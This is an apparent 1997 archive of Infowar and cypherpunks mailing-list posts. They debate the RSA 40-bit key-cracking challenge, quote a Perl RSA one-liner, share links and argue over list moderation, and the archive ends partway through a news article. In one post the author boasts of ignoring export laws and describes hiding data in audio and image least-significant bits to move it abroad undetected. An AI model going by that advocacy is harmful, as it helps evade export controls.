exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues
who contributed CPU time on the "NOW" (Network of Workstations) did was to
search approximately 100 billion keys per hour. As there are about a
trillion keys in the 40-bit keyspace, it was a foregone conclusion they
would find the key within 10 hours (modulo any screwups at their end), with
about half the time being the most likely time. As it was, they found the
key a tad bit early, by the luck of the draw (so to speak).

RSA certainly knows how long it takes to brute force the keyspace. They
just didn't know who would find the key first. (And at least one other
group reported a solution within minutes of Goldberg's report.)

So, Paul is simply throwing disinformation--or lack of understanding--into
the air by claiming that this crack does not mean a 40-bit key is "weak."
Simply put, it is. Anyone who looks at the math understands this. The
keyspace is simply too small for real security.

(Does the NSA use 40-bit keys? Of course not. Hmmmhhh.)

As the select panel of cryptographers empaneled to study key lengths
concluded, 56 bits is already too weak, 80 bits is better and should be
adopted forthwith for export, and >96 bits is preferable.

As an "infowarrior" of sorts myself, I can assure you that we don't give a
hoot in hell what the regs say is "allowed." When any tourist on his way to
Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he
wishes, with absolutely no "exit checks," who really cares what the "export
laws" allow?

(I carried 5 gigabytes of data, some of it crypto-related, to a meeting
with cryptographers and crypto anarchists in Monte Carlo a while back.
Obviously I was not searched or even glanced at on my way out, nor on my
arrival at Charles de Gaulle airport, etc. Only upon my return to San
Francisco was I asked what my business had been. The Customs Officer gave
me a blank look when I told him I was meeting with cryptographers in Monte
Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He
had no idea what I was talking about, and was bored. He then asked me if I
was bringing back any stuff I bought in shops over there. "No," I told him.
He just waved me through.)

Not to mention the ease with which stuff is shipped out over the Internet.
(I made a bet a couple of years ago that each major new cipher would arrive
at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers
make it so easy to bounce stuff around.)

And of course I was the one in 1988 who first proposed the now-popular
method of using the least significant bits (LSBs) of CDs and DATs filled
with music, and LSBs of GIF images, to transparently export megabytes of
data undetectably. (To any sniffers, the LSBs are formally and
statistically identical to the ordinary noise of microphones and recording
electronics.) A normal 2-hour DAT tape of a recording I made off the radio
or off of one of my CDs can carry 160 megabytes of "data" riding in just
the LSBs alone. That's equivalent to 16 copies of the Bible, or a
significant chunk of the B-2 Stealth bomber CAD database.

I'd like to see your list get involved in more accurate and less
scare-mongering discussions.

--Tim May
Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST)
From: "Craig H. Rowland" <crowland@psionic.com>
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: RSA

> Date: Thu, 30 Jan 1997 20:10:36 -0500
> To: "Wright Larry" <Wright_Larry@bah.com>
> From: "Paul A. Strassmann" <paul@strassmann.com>
> Subject: Further to Goldberg's Cracking Accomplishments
> Gentlemen:
>
> As I suspected (see earlier private comment), the
> highly promoted RSA cracking contest offered
> a number of clues that ordinarly would not be
> volunteered by  info-terrorists or info-criminals to
> IW Defense teams.
>
> These clues made the cracking significantly easier,
> because it made it possible to eliminate an enormous
> range of possible searches.

You are talking about implementing security through obscurity. You can
never assume that an enemy does not know what security precautions are in
place to protect information, or in this case, what cipher
you have chosen to protect your data. The security of your in-place
mechanisms should be able to stand on their own merits under a worst
case scenario of full public disclosure.

>
> The following was extracted verbatim from the
> <The RSA Data Security Secret-Key Challenge>
> posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
> Clue #1:
>
>   " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> will use
>    12-round RC5 with a 32-bit word size. "
>
> Clue #2:
>
>   " ...The first RC5 contest will consist of some unknown plaintext
> encrypted using a 40-bit key;."
>
> Clue #3: (a  giveway!)
>
>  " ... For each contest, the unknown plaintext message is preceded by three
>    known blocks of text that contain the 24-character phrase "The
>    unknown message is:  .....".

Let me address 1, 2, and 3 all together as they all suffer
from the same flaw in logic as discussed above.

First, the ciphers in this contest includes more than RC5, the main
point of the contest is not to illustrate the security of a particular
cipher from cryptanalytic attack, but rather to show that key lengths that
are too short are insecure against a brute force attack. The fact that the
cipher is known does not affect the overall purpose of the contest.

Second, you are again assuming the cipher is unknown by your enemy.
Suppose you are a financial institution, I can be almost 100% assured that
your communications are protected with DES as the cipher. If I can
discover what equipment you are using and what modes the cipher runs in
(CBC, ECB, etc) I can then attempt a similiar brute-force attack using
the widely available DES specifications. Commercial organizations using
exportable software systems suffer the same fate. You are also assuming
that a mathmatical analysis of the encrypted data stream will not reveal
what cipher is being used. Various statistical attacks could reveal key
pieces of information that could quickly unveil what cipher you are using
and what mode it is being run in.

Third, just because part of a message is known does not mean the contest
is invalid. Many network communication protocols use a fixed set of
characters to establish and end communication sessions. An attacker, aware
of how the protocols work, can often discern what a message may contain
when it is initiated. An example of this could include SMTP traffic which
includes a standard set of protocol keywords, or an electronic funds
transfer which includes unique bank identification numbers or other
similar data. This is called a known plaintext attack and is very common.

>
> In summary: The claim of exportable cryptography being totally
> insecure, because it can be cracked in 3.5 hours is not
> realistic. The three clues announced in the contest
> would not apply  under infowar conditions.

Again, this is not correct. You are assuming total ignorance by the enemy
which is rarely the case.

>
> What other clues may have been provided to Goldberg
> to  support private agendas and gain shrill headlines
> is also a matter of speculation, but I rest my case.

Why does one even need a "clue" about this key size? It should be obvious
to anyone remotely educated/interested in the field of cryptography that
the reason the NSA limits exportable key length to 40 bits or less to
begin with is so they can do the same thing at Ft. Meade on their
internal computers that was done here publically.

The whole debate over exportable encryption rarely rests on the cipher,
but rather on the *length* of the keys used. This *alone* should be enough
to convince the reader that key length is in fact a very vital issue for
both the NSA and the Internet community.

> I certainly cannot assert that a 40 bit key cannot be decyphered.
> However, I do not think that the RSA unqualified claims
> offer full and appropriate disclosure.

Nonsense..RSA sells cipher technology that uses both 40 bit encryption and
higher, they make their money either way...their only bias in this area is
that they have their exportable software crippled in such a way as to make
it useless to foreign buyers. Luckily companies in Finland, Switzerland,
and Germany are starting to take up the slack and provide strong
cryptographic products of their own.

-- Craig

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST)
To: infowar@infowar.com
From: Bob Stratton <strat@wheelgroup.com>
Subject: RSA's Challenge Claims and the Real World


In Infowar Digest Volume 02, Number 04, Paul Strassman writes:

>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.

I feel compelled to respectfully submit what may be considered a rebuttal.
In general, I tend to dismiss claims of anything being "totally" anything,
but in this particular instance, I think further discussion may be warranted.

I admit to being a little surprised by this tack on the part of RSA. RSA
Labs (the research side of that house) has earned my respect over time by
doing serious cryptological work and publishing it in a thoughtful, academic
manner worthy of note.

The histrionics of press releases notwithstanding, I think these comments
merit further examination:

I may concede that the "three clues...would not apply under infowar
conditions". In doing so, I must also ask for further clarification as to
exactly which infowar Mr.Strassman is referring. Given this forum's
consideration of the national security implications of attack on the
financial infrastructure, it seems a fair question.

In any event, I question whether this is relevant within the context of the
challenge, and the purposes behind it. RSA's purpose in posting this
challenge was presumably to enlighten the public and others as to the
_relative_ strength of currently exportable cryptosystems.

I have no doubt that the agenda behind this is to encourage resistance to
current U.S. policies on cryptographic export, a stance designed to maximize
share value in what is admittedly a commercial venture. I'm also willing to
note that I have a general distaste for INFOSEC "challenges" of any sort.

I would, however, like to explore the assertion that the clues posted in the
challenge were not offered in the spirit of full and fair disclosure. I will
concede in any case that this was not an exhaustive, controlled study.
"Challenges" such as these have a place. Within the INFOSEC environment,
cryptanalytic attack appears to be one of the more reasonable areas for them.

Compared to "challenges" against network "firewalls", for example,
cryptanalysis is an area where there is the opportunity to adequately define
the goal and to measure the result. In this case, RSA was not attempting to
prove a negative, as have so many (too many) other firms offering so-called
"challenges".

If we restrict our focus for purposes of argument to commercially available
cryptographic software, the clues become significantly less onerous and
mysterious.

Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is
certainly the most arcane of the lot. Speaking as a former commercial
software developer, I would be quite surprised if vendors would not
routinely disclose information of this sort. Certainly vendors using
standard algorithms would tend to be more willing to do so than those using
proprietary ones, which only bolsters my later arguments, as you will see
below.

If we may depart for just a moment to other algorithms, almost any
_standard_ implementation of an algorithm which is interoperable with other
implementations would, by definition, disclose or facilitate disclosure of
this sort of information, by its very nature. Again, in a commercial
environment, interoperability is key (no pun intended), so it's likely that
implementation details are either available, or readily deducible.

Clue 2, the disclosure of key size, again meets the standards just
discussed. In the case of products recently exportable from the U.S., one of
two things is generally true. Either the key size is actually 40 bits, or
the key size is larger than 40 bits, but steps are taken to make all key
information beyond 40 bits accessible to observers of the tool. Again, in a
commercial environment, this is no secret.

Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman.
Disclosure of known plaintext, in this case the phrase "The unknown message
is:" is certainly quite serious in that it may significantly aid
cryptanalytic attack. My only comment here is that in the commercial arena,
interoperability demands standards, and standards define consistent
protocols. Those protocols will almost always result in some manner of
reproducible content, most readily exemplified by message headers in
electronic mail systems. While mechanisms exist for enhanced cryptographic
protection of said content, in general the commercial environment has lagged
behind the military, and perhaps rightly so.

In none of the aforementioned cases, however, do I see information that
fundamentally invalidates the significance of RSA's Challenge TO THE
CIVILIAN  COMMERCIAL INFOSEC COMMUNITY. That community has serious, current
INFOSEC needs, and one must question (as I know many of us do every day) to
what degree we're willing to lay our economic fabric open to subversion in
order to lessen the cost of intelligence collection.

--Bob Stratton
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security"
<PADGETT@hobbes.orl.mmc.com>
To:   infowar@infowar.com
Subject: RSA challenge

Paul rote:
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
...
>Clue #3: (a  giveway!)

> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".

Those who follow my hobby may have noticed that about two years ago I began
using the "3.5 hour" figure to assign a maximun value of $250 to any
information sent via a 40 bit code. The advent of multiple parallel machines
(via networks) capable of operating entirely out of L1 cache just made
the technology available.

However, such attacks do rely on known plain text for speed (final test
is a simple XOR/alarm if zero. The same technology was used in Colossis
back in 1944. It was just a touch slower.

The simle answer is message compression prior to encryption which would
make deciding when the message was broken much more difficult.

Naysayers claim "there is always KPT" but this does not need to be true.
- whole months of Enigma traffic went undecoded because there was no
crib available but eventually human error gave the BP team a clue. Today,
electronic systems can remove such errors from human hands.

Personally believe that 56 bits is "good enough" today though it makes
little sense from a programming standpoint not to use 64 *so long as
a different key is used for every message and every message, no matter
how trivial, is encrypted*.

Or you could use a "shared secret" book code: a simple XOR with a
digital satellite data stream transmitting compressed video should
do nicely. All that is needed is to know which stream and when to
start. I call that an "unwitting key provider".

So as Paul says, the contest proves little except to confirm my 3.5
hour estimate (remember the gentleman in France who broke the 40 bit
NS code last year and what his time was...) - but that was for equipment
available several years ago.

Today I use the figure of one gig kps (keys per second) for 1997 equipment
per seive. A single one would break 40 bits in an average of under 10 min.
DES would fall in a day to 400 in parallel. But the question remains:
without KPT, how can you tell when the break occured ? Is a world of
difference between an XOR and decompression. And if every message uses a
differnt key...

					Warmly,
						Padgett

ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/
   under "Anti-Virus hobby". FreeWare.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Tue, 11 Feb 1997 06:41:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Survey on Computer Security
Message-ID: <199702111441.GAA20245@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This artilce has some interesting info on how bad infosec on the web is.
<http://www.infowar.com/infosec/introduction.html>
---DS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 09:56:18 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Crypto code published in magazines
Message-ID: <199702161756.JAA24302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> I'm trying to find instances of crypto code published in computer
> magazines i n the last few years.  I know of Blowfish in DDJ, are
> there cases of more mainstream computer mags like Byte publishing
> crypto code (I know Byte did DES in 1977, I'm hoping for something a
> bit more recent)?.

Well this code (an implementation of RSA) appeared in UK Computer
Shopper (largest readership computer mag in UK) by Charlie Stross:


print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


(actually it was some earlier version of the code)

Other media appearances include:

- A picture of the shirt in Nova magazine (a French publication)
- Shirt on Nulle Part Ailleurs (French cabal TV talk show)
- Shirt Japanese edition of Wired 
- Shirt in US version of Wired
- Richard White's tattoo of the program in UK Wired
- Shirt in BBC Open Univ program (educational program on encryption)
- Picture of label with program on New York Times

All of those apart from the last would probably be readable from the
source code, or from the bar code.  [Do KISS do image enhancement
also?  :-)]

(some pics on: 

	http://www.dcs.ex.ac.uk/~aba/shirt/media.html
	http://www.dcs.ex.ac.uk/~aba/rsa/

)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 06:42:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Consumer Privacy URL...
Message-ID: <199702111442.GAA20364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: Consumer Privacy Online

 In> The January issue of the Computer Law Observer discusses privacy of
 In> online consumer information. The article is called "Your clickstream
 In> is showing" and is based upon a report issued by the FTC in January.

 In> The article can be found under "Current Issue" at
 In> http://www.lawcircle.com/observer

 In> There is also an announcement at the site for a new weekly service
 In> called the Computer Law Observerpro, which provides selected weekly
 In> articles discussing computer, technology and cyberlaw issues.


Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

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jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ
jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS
FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/
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=Y0C2
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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles@netbox.com
Date: Tue, 11 Feb 1997 06:43:19 -0800 (PST)
To: gbroiles@netbox.com
Subject: Proposal: alt.cypherpunks (unmoderated)
Message-ID: <199702111443.GAA20392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



[This is a courtesy copy of an article posted to Usenet via Deja News]

Some people, including myself, believe that the Cypherpunks mailing list
(cypherpunks@toad.com), running since sometime in 1992, has outgrown the
mailing list format and should move to Usenet. The advantages once gained
by running as a mailing list (faster propagation, more personal/intimate
atmosphere, freedom from Usenet-style flames & spams) are no longer
present. Questions about the appropriateness of moderation, moderator
liability for various "bad" kinds of messages, and the potential for
content control  where there is a single point for distribution have
become very prominent concerns among list members. It's time to move to
Usenet.

Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
is unsatisfactory to become a destination for Usenet-originated
cypherpunk traffic because its name implies that it's a gateway from a
mailing list. This is presently true, but this proposal is intended to
create a newsgroup which supplements or replaces the current mailing
list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
Judging from the limited selection of messages which seem to reach
DejaNews and AltaVista from it, it suffers from relatively poor
propagation.

The cypherpunks mailing list currently has approximately 1300
subscribers, sees traffic between 30 and 70 messages per day (est.), and
on its better days discusses technological defenses for privacy in an
information age. Popular topics include encryption, legal issues around
encryption and export control, and the relationship between technology
and social control.

A sample line for the newsgroups file:

alt.cypherpunks  Technological defenses for privacy

-------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 06:44:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <199702111444.GAA20493@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here an page, that deals with various intelligence and military
institutions...


 In> Subject: GOVT> AJAX, Government and Military Intelligence

 In> http://204.180.198.56:80/ajax/ajax.htm

 In> United States and International Government Military and Intelligence
 In> Agency Access

 In> Certain Locations Or Sections Thereof May Be Closed To
 In> Unauthorized Use.
 In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
 In> (If You Prefer A Frameless Environment, Click HERE.)
 In> Last update: 7 FEBRUARY 1997. All accesses verified at
 In> time of inclusion.

 In> CIA                  Central Intelligence Agency
 In> DIA                  Defense Intelligence Agency
 In> NRO                  National Reconnaissance Office
 In> NSA                  National Security Agency
 In> SS                   Secret Service
 In> USCSOI               U.S. Customs Service Office of Investigation

 In> ATF                  Bureau of Alcohol, Tobacco and Firearms
 In> BOP                  Federal Bureau of Prisons
 In> CID                  U.S. Army Criminal Investigation Command
 In> COURTS               U.S. Federal Courts
 In> FBI                  Federal Bureau of Investigation
 In> FINCEN               Financial Crimes Enforcement Network
 In> FLETC                Federal Law Enforcement Training Center
 In> MARSHALS             U.S. Marshals Service
 In> NIJ                  National Institute of Justice
 In> ACC                  Air Combat Command
 In> AFSPC                Air Force Space Command
 In> BMDO                 Ballistic Missile Defense Organization
 In> DEFENSE              Defense Department
 In> DISA                 Defense Information Systems Agency
 In> DRMS                 Defense Reutilization and Marketing Service
 In> DTIC                 Defense Technical Information Center
 In> JCS                  Joint Chiefs of Staff
 In> NAVWAN               Naval Aviation Systems Team Wide Area Network
 In> NAWCWPNS             Naval Air Warfare Center Weapons Division
 In> NSWC                 Naval Surface Warfare Center
 In> USAFA                United States Air Force Academy

 In> AHPCRC               Army High Performance Computing Research Center
 In> ARPA                 Advanced Research Projects Agency
 In> LABLINK              U.S. Department of Defense Laboratory System
 In> NRL                  The Naval Research Laboratory RL
 In> USAF                 Rome Laboratory for C41 Technology
 In> USACIL               U.S. Army Criminal Investigation Laboratory

 In> NATGUARD             Army and Air National Guards
 In> USA                  United States Army
 In> USAF                 United States Air Force
 In> USCG                 United States Coast Guard
 In> USMC                 United States Marine Corps
 In> USN                  United States Navy

 In> EPA                  U.S. Environmental Protection Agency
 In> FAA                  Federal Aviation Administration Technical Center
 In> FCC                  Federal Communications Commission
 In> FTC                  Federal Trade Commission
 In> NMFS                 National Marine Fisheries Service
 In> NRC                  Nuclear Regulatory Commission
 In> SEC                  Securities and Exchange Commission
 In> CDC                  Centers for Disease Control and Prevention
 In> CENSUS               U.S. Department of Commerce Bureau of the Census
 In> CONGRESS             U.S. House of Representatives
 In> CUSTOMS              U.S. Customs Service
 In> DOE                  U.S. Department of Energy  National Laboratories
 In> & Programs
 In> EXECUTIVE            The White House
 In> FDIC                 Federal Deposit Insurance Corporation
 In> FEMA                 Federal Emergency Management Agency
 In> FMS                  Financial Management Service
 In> GPO                  U.S. Government Printing Office
 In> GSA                  U.S. General Services Administration
 In> HHS                  U.S. Department of Health and Human Services
 In> HPCC                 NOAA High Performance Computing and
 In> Communications IRS                  Internal Revenue Service
 In> JUSTICE              Justice Department
 In> NARA                 National Archives and Records Administration
 In> NASA                 National Aeronautics and Space Administration
 In> NCDC                 National Climatic Data Center
 In> NIMH                 National Institute of Mental Health
 In> NOAA                 National Oceanic & Atmospheric Administration
 In> NSF                  National Science Foundation
 In> NTIS                 National Technical Information Service
 In> SBA                  Small Business Administration
 In> SEL                  Space Environment Laboratory
 In> STATE                State Department
 In> TREASURY             Treasury Department
 In> USCODE               U.S. House of Representatives
 In> Internet Law Library U.S. Code

 In> CANADA
 In> CSE                  Communications Security Establishment
 In> CISC                 Criminal Intelligence Service Canada
 In> CSIS                 Canadian Security Intelligence Service
 In> SIRC                 Security Intelligence Review Committee
 In> UNITED KINGDOM       CIM Central Intelligence Machinery

 In> CANADA
 In> DJC                  Department of Justice of Canada
 In> FORENSIC             The Forensic Web
 In> RCMP                 Royal Canadian Mounted Police
 In> SGC                  Solicitor General of Canada

 In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
 In> Criminal Justice

 In> CANADA
 In> CFC                  Canadian Forces College
 In> DREO                 Defense Research Establishment, Ottawa

 In> UNITED KINGDOM
 In> ARMY                  The British Army
 In> CDA                   Centre for Defence Analysis
 In> DRA                   Defence Research Agency

 In> NATO                  North Atlantic Treaty Organization
 In> SACLANT               Supreme Allied Commander, Atlantic
 In> SHAPE                 Supreme Headquarters Allied Powers Europe

 In> BECCA                 Business Espionage Controls & Countermeasures
 In> Association
 In> CRYPTOLOG             Internet Guide to Cryptography
 In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
 In> WANTED                "The World's Most Wanted" (Fugitives and
 In> Unsolved Crimes)


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni
2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig==
=s4om
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 05:40:51 -0800 (PST)
To: gnu@toad.com
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111340.FAA18603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl7.crl.com>
Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111458.GAA20705@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

You have probably just read John's post.  I truly hope YOU (each
and every one of you) can rise to his challenge.  If you have 
offered nothing in the past but criticism, it's now time to get a
bit more real.  What will it be, your money, time, equipment?

I would hope that the loudest advocates of "free speech" turn out
to be the most generous, but I'm not holding my breath.  Maybe 
the solution(s) will come from you lurkers.  I hope you can put
down your beer long enough to get involved.

Finally, if anyone wants to discuss why the Cypherpunk list has
come to this, or what I did right or wrong as a moderator, let's
talk about--on the new list(s) YOU create.  For now, though, it's
off-topic.  We have work to do.


 S a n d y

P.S.	To all those people who privately supported me in
	my attempt to help the list deal with its problems,
	thank you.  I wouldn't have come back without your
	and John's encouragement.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Feb 1997 09:03:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Indiana judge extends gag order to the Net, from TNNN
Message-ID: <199702111703.JAA22485@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Indiana judge extends gag order to the Net, from TNNN

The Netly News Network
http://netlynews.com/

   Gag On This 
   by Declan McCullagh (declan@well.com)
   February 10, 1997
   
        The point of moving a trial or selecting a jury from a distant
   county is, of course, to prevent jurors from being influenced by the
   local media and opinions of the nearby community. But what if the
